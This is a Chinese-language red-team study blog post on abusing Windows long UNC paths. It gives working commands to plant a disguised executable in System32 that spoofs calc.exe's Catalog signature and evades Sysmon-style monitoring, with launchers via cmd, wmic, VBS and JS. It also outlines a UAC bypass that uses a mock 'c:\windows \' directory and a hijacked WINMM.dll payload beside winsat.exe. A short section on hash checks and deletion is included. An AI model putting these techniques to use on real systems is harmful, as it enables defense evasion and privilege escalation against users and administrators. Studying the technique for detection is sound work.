【学习】long UNC伪造利用方法

red&blue

Posted by DC on March 17, 2019

【学习】long UNC伪造利用方法

介绍:

Microsoft Windows UNCUniversal Naming ConventionUniform Naming Convention的缩写,它指定了描述网络资源位置的通用语法,例如共享文件,目录或打印机。Windows系统的UNC语法具有以下通用形式:

\\ComputerName\SharedFolder\Resource

Microsoft Windows使用以下类型的路径:

  • 本地文件系统(LFS),例如 C:\File
  • 统一命名约定(UNC),例如\\Server\Volume\File或/ <internet resource name>[\Directory name](至少在Windows 7及更高版本中)
  • long UNC或UNCW ,例如\\?\C:\File\\?\UNC\Server\Volume\File

在Windows XP之前的Windows版本中,只有接受“Long UNC”的API才能接受超过260个字符

long UNC 支持最大长度为32767

文件属性伪造:

基础用法:欺骗系统,识别为某一个文件,复制文件属性

则会将文件名称和部分属性进行伪装复制
type putty.exe  > "\\?\C:\test\test.exe"

若在文件名后加空格则会对文件名识别准确
type putty.exe > "\\?\C:\test\mimikatz.exe "

伪造catalog签名

查看catalog 签名,使用singcheck工具:https://download.sysinternals.com/files/Sigcheck.zip

singcheck -i calc.exe:
主要的签名值:
                Cert Issuer:    Microsoft Root Certificate Authority 2010
                Serial Number:  61 07 76 56 00 00 00 00 00 08
                Thumbprint:     580A6F4CC4E4B669B9EBDC1B2B3E087B80D0678D   《---
                Algorithm:      sha256RSA
                Valid from:     2:41 2011/10/20
                Valid to:       2:51 2026/10/20

通过如下方法伪造基本属性。
type putty.exe > "\\?\C:\Windows\System32\calc.exe "
可成功复制部分文件属性。仍然容易识别,无法伪造 catalog

通过短文件名方法构造,伪造catalog
dir /x calc*.exe  查看短文件名。
使用 CALC~1.EXE替换 calc.exe空格
可成功伪造catalog 值
type putty.exe > "\\?\C:\Windows\System32\CALC~1.EXE"

不同伪装调用方法

命令行调用:

	"\\?\C:\Windows\System32\calc.exe "

	C:\Windows\System32\CALC~1.EXE

wmic调用方法:
	
	wmic process call create C:\Windows\System32\CALC~1.exe

VBS调用方法:

	Set objShell = CreateObject("Wscript.Shell")
	objShell.Run "c:\windows\system32\calc~1.exe"
	
JS调动方法:

	var wsh=new ActiveXObject("wscript.shell");  
	wsh.run("c:\\windows\\system32\\calc~1.exe");

属性可欺骗sysmon类监控

校验方法

MD5识别:
    certutil.exe -hashfile C:\Windows\System32\calc.exe MD5

    certutil.exe -hashfile C:\Windows\System32\calc~1.exe MD5

    certutil.exe -hashfile "\\?\C:\Windows\System32\calc.exe " MD5

同名文件夹生成,通过短文件名 顺序识别:

    type putty.exe > "\\?\C:\Windows\System32\calc.exe "       <---calc~1.exe
    type putty.exe > "\\?\C:\Windows\System32\calc.exe  "      <---calc~2.exe
    type putty.exe > "\\?\C:\Windows\System32\calc.exe   "     <---calc~3.exe

删除方法(64位均存在重定位问题):

del "\\?\C:\Windows\System32\calc.exe "

del C:\Windows\System32\CALC~1.exe


文件夹属性伪造:

基础用法:欺骗系统,识别为某一个文件夹,复制文件夹属性

md "\\?\c:\windows "

尝试使用伪造文件夹属性,绕过UAC

前提条件:

	有一个默认绕过UAC的文件:程序配置以管理员权限运行,包含签名,从信任目录(c:\windows\system32 等)运行。

	普通用户具有磁盘根目录常见文件夹权限
	
	EXE程序在启动中加载dll,默认搜索同级目录,便于进行dll劫持



实现思路:

1、找到一个默认能够绕过UAC的文件,例如c:\windows\system32\winsat.exe

2、使用Long UNC创建一个特殊的文件夹"c:\windows \",并将winsat.exe复制到该目录。

3、执行winsat.exe,记录启动过程,发现启动时需要加载同级目录下的WINMM.dll

4、编写payload.dll,指定导出函数同c:\windows\system32\winmm.dll相同,并命名为"c:\windows \system32\WINMM.dll"

5、执行"c:\windows \system32\winsat.exe",将自动绕过UAC,加载"c:\windows \system32\WINMM.dll",执行payload



实现操作:

1.对具有UAC绕过权限的文件选择,采用 https://github.com/g3rzi/Manifesto ,进行搜索autoElevate属性为true的文件

2.创建文件夹目录
  命令行创建:  md "\\?\c:\windows "
  代码实现:    CreateDirectoryW(L"\\\\?\\C:\\Windows \\", 0);
  
3.可劫持dll查找,通过Process Monitor等工具,筛选result:NAME NOT FOUND的dll,即启动中加载同级目录的dll

4.生成劫持dll,采用https://github.com/michaellandi/exportstoc 生成用于劫持的dll文件

5.对c:\windows \system32\winsat.exe 的程序,进行绝对路径启动的时候。会进行劫持


思考:

通过构造绕过UAC的方法借鉴白利用的攻防方向,通过其他边界突破手段,配合进行权限绕过利用。

学习参考链接:

《Catalog签名伪造——Long UNC文件名欺骗》

UAC Bypass by Mocking Trusted Directories

《Study Notes Weekly No.1(Monitor WMI & ExportsToC++ & Use DiskCleanup bypass UAC)》

脚本地址: https://github.com/tenable/poc/tree/master/Microsoft/Windows/UACBypass